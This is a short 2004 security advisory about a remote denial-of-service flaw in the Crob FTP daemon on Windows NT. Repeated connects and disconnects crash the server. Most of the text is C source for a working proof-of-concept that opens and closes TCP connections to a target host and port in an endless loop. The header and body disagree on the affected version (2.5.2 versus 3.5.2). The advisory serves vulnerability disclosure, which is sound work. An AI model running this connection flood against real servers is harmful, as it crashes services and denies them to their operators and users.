crob ftpd Denial of Service

[gsicht gsicht <nothing.king@xxxxxxxxxxx>]

Application:  Crob FTP daemon
              http://www.crob.net/en/
Versions:     2.5.2 maybe others
Platforms:    Windows NT
Bug:          Denial of Service
Exploitation: remote
Date:         12 Feb 2004
Author:       gsicht
              e-mail: nothing.king@xxxxxxxxxxx

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1) Introduction
2) Bug
3) The Code
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===============
1) Introduction
===============
Quoute from the crob ftp's website:
"Crob Software Studio is a professional and innovative Internet software 
developing team. 
With incessant endeavor. Now we have Crob FTP Server. A professional FTP 
Service solution."

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======
2) Bug
======
Crob FTP Server 3.5.2 is vulnerable to a Denial of Service attack. The 
connecting and disconnecting to the server leads to the crash of
the daemon.
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===========
3) The Code
===========
/******************************/
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(int argc, char *argv[])
{

        int s;
        struct sockaddr_in target;

        if(argc < 2)
        {
                printf("Usage: %s HOST [PORT]\n\n",argv[0]);
                return 0;
        }

        do
        {
        s = socket(AF_INET, SOCK_STREAM, 0);
        target.sin_family = AF_INET;
        target.sin_port = htons(atoi(argv[2]));
        target.sin_addr.s_addr = inet_addr(argv[1]);

        printf("-       connecting...\n");

        if( connect(s,(struct sockaddr*)&target, sizeof(struct sockaddr))<0)
        {
                printf("        connect() error!\n\n");
                exit(-1);
        }

        printf("        connected\n");
        printf("        closing connection\n");
        close(s);
        }
        while(1);
        return 0;
}
/*******************************/
#######################################################################